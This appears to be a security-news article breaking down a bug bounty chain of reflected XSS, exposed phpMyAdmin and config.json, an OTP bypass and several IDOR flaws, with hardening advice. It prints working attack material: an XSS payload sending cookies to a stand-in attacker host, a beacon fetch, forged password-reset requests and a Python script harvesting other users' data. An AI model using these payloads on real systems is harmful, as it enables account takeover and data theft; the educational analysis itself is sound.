The 9‑Click Crown: How a Single Bug Bounty Submission Exposed a Devastating Chain of IAM and Access Control Failures

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Introduction:

A recent bug bounty disclosure reveals a catastrophic cascade of vulnerabilities within a single application, turning routine security testing into a masterclass in systemic security failure. From front‑end Cross‑Site Scripting to backend credential exposure and a series of critical Insecure Direct Object Reference (IDOR) flaws, this case study demonstrates how seemingly isolated issues can combine to grant an attacker complete platform dominance. This analysis deconstructs the technical chain, providing actionable steps for exploitation and, more importantly, definitive hardening measures.

Learning Objectives:

  • Understand the critical impact of chaining client‑side vulnerabilities (XSS) with server‑side access control failures (IDOR).
  • Learn practical methods to identify and exploit exposed administrative interfaces (phpMyAdmin) and configuration files.
  • Master the techniques for testing and bypassing multi‑factor authentication (OTP) mechanisms in password reset flows.

You Should Know:

  1. The Initial Foothold: Reflected XSS and Probing for Backend Services
    The journey began with a classic Reflected Cross‑Site Scripting (XSS) vulnerability. This occurs when an application takes user input and includes it in the server’s response without proper sanitization. While often considered a medium‑severity bug, it serves as a perfect probe and can be used to steal session cookies or deliver malicious payloads.

Step‑by‑step guide:

Reconnaissance: Use parameter‑fuzzing tools to find reflection points.
Linux Command (with FFUF): `ffuf -w /path/to/wordlist.txt -u “https://target.com/page?FUZZ=test” -fr “error”`
Manual Test: Inject a simple payload like <script>alert(document.domain)</script> into every parameter (URL, form fields, headers).
Exploitation: Craft a proof‑of‑concept (PoC) URL to steal a user’s session cookie.
https://vulnerable-site.com/search?q=<script>new Image().src='https://attacker-server.com/steal?c='+document.cookie;</script>
Post‑Exploitation Pivot: The XSS can be used to make authenticated requests on behalf of the user, aiding in the discovery of internal endpoints like `/phpmyadmin` or /setup/. A simple fetch inside the script can probe for these:

// Script injected via XSS to probe for admin interfaces
fetch('/phpmyadmin', {credentials: 'include'})
.then(response => {
if(response.status != 404) {
// Send finding to attacker server
fetch('https://attacker.com/log?found=phpmyadmin');
}
});

2. Treasure Trove Discovery: Exposed phpMyAdmin and config.json

The discovery of an exposed `/phpmyadmin/setup/` directory and a publicly accessible `config.json` file represents a severe infrastructure misconfiguration. These assets should never be accessible on production front‑end servers.

Step‑by‑step guide:

Enumeration: Use directory brute‑forcing to find such resources.
Linux Command (with Gobuster): `gobuster dir -u https://target.com/ -w /usr/share/wordlists/dirb/common.txt -x php,json,config`

Impact Assessment:

  1. phpMyAdmin /setup/: This page can often be used to reconfigure and control the MySQL instance, leading to full database compromise.
  2. config.json: This file likely contained database credentials (DB_USER, DB_PASS), API keys, and even the application’s ENCRYPTION_KEY. With the encryption key, an attacker can decrypt sensitive data stored by the application.

Mitigation Command (Immediate Action for SysAdmins):

Apache: `sudo nano /etc/apache2/sites-available/000-default.conf`

Add: ` Require all denied `

Nginx: `sudo nano /etc/nginx/sites-available/default`

Add: `location ~ /(phpmyadmin|setup|config\.json) { deny all; return 403; }`
Restart the web server: `sudo systemctl restart apache2` or sudo systemctl restart nginx.

  1. Breaking the Trust: OTP Bypass in Password Reset
    The OTP bypass for password reset is a logic flaw. The application likely verified the OTP on the client-side or failed to invalidate the reset token after use.

Step‑by‑step guide:

Testing Methodology:

  1. Initiate a password reset for your controlled account ([email protected]).
  2. Intercept the request containing the OTP submission using Burp Suite or OWASP ZAP.

3. Observe the request/response flow. Common flaws include:

Parameter Tampering: Changing the `user_id` or `email` parameter in the OTP verification request to another user’s ([email protected]).
Response Manipulation: If the response contains a `”success”: false` field, try changing it to true.
Token Reuse: Using the same valid OTP/token for a different user’s reset request.

Example Exploit Request:

POST /reset/verify-otp HTTP/1.1
Host: target.com
... [session cookies] ...

{"email":"[email protected]","otp":"123456"}

Change to:

`{“email”:”[email protected]”,”otp”:”123456″}`

4. The IDOR Epidemic: Systemic Access Control Failure

The five separate IDOR vulnerabilities indicate a complete absence of server‑side authorization checks. The application trusted user‑supplied identifiers (like user_id, connector_id) without verifying if the authenticated user owned them.

Step‑by‑step guide (using the “reset any user’s password” example):
The Flaw: A typical password reset endpoint might be POST /api/reset-password. It accepts a `user_id` parameter.

Exploitation:

  1. As an authenticated low‑privilege user (your_id=1001), capture the legitimate reset request.
  2. Change the `user_id` parameter to another user’s ID (e.g., admin_id=1).

3. Send the modified request.

Burp Suite Repeater Example:

POST /api/user/reset-password HTTP/1.1
Authorization: Bearer <your_token>
Content-Type: application/json

{"user_id": 1001, "new_password": "Hacked123!"}

→ Change `”user_id”: 1001` to `”user_id”: 1`

Mitigation (Pseudocode): Always authorize on the server.

 BAD: Trusts client input
user_id = request.POST['user_id']
user = User.get(user_id)
user.reset_password()

GOOD: Uses authenticated session
current_user = request.session.user
if current_user.role != 'admin' and current_user.id != user_id:
raise PermissionDenied
user = User.get(user_id)
user.reset_password()
  1. From IDOR to Data Breach: Exposing & Deleting User Data
    The IDORs for viewing and deleting “connectors” and “projects” follow the same pattern but target different object types (connector_id, project_id). This allows for horizontal (same‑privilege user) and often vertical (higher‑privilege user) privilege escalation.

Step‑by‑step guide for Mass Data Exfiltration:

Automated Enumeration Script (Python Example):

import requests

BASE_URL = "https://target.com/api"
SESSION_COOKIE = "your_session_cookie"

headers = {'Cookie': f'session={SESSION_COOKIE}'}

for connector_id in range(1, 1000):
resp = requests.get(f'{BASE_URL}/connector/{connector_id}', headers=headers)
if resp.status_code == 200:
print(f"[+] Found connector {connector_id}: {resp.text[:100]}")
 Save the data
with open(f'connector_{connector_id}.json', 'w') as f:
f.write(resp.text)

This script iterates through potential object IDs and saves all accessible data, demonstrating a full breach.

What Undercode Say:

  • Architectural Complacency is the Real Vulnerability: This wasn’t nine bugs; it was one: the failure to implement a consistent, server‑side authorization middleware. Every endpoint that accepted an object identifier was vulnerable by design.
  • The “Snowball” Effect in Security Testing: A low‑severity finding (Reflected XSS) should never be the path to a critical one (exposed encryption keys). Testers must use every initial finding as a launching pad to probe deeper into architecture and backend services, as the most severe risks often lie in the chain.

Prediction:

This disclosure is a microcosm of a broader trend in application security. As development cycles accelerate, foundational security controls like authorization are being bypassed or implemented inconsistently. In the next 18–24 months, we predict a significant rise in cloud‑native breaches stemming not from exotic zero‑days, but from the chaining of basic OWASP Top 10 flaws—particularly IDOR and misconfigurations—often discovered via automated scanning or opportunistic bug hunting. The integration of AI‑assisted code review tools that can detect missing authorization checks will shift from a “nice‑to‑have” to a critical component of the SDLC, as the cost of manual remediation for such systemic failures becomes unsustainable.

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IT/Security Reporter URL:

Reported By: Rahul Masal – Hackers Feeds
Extra Hub: Undercode MoN
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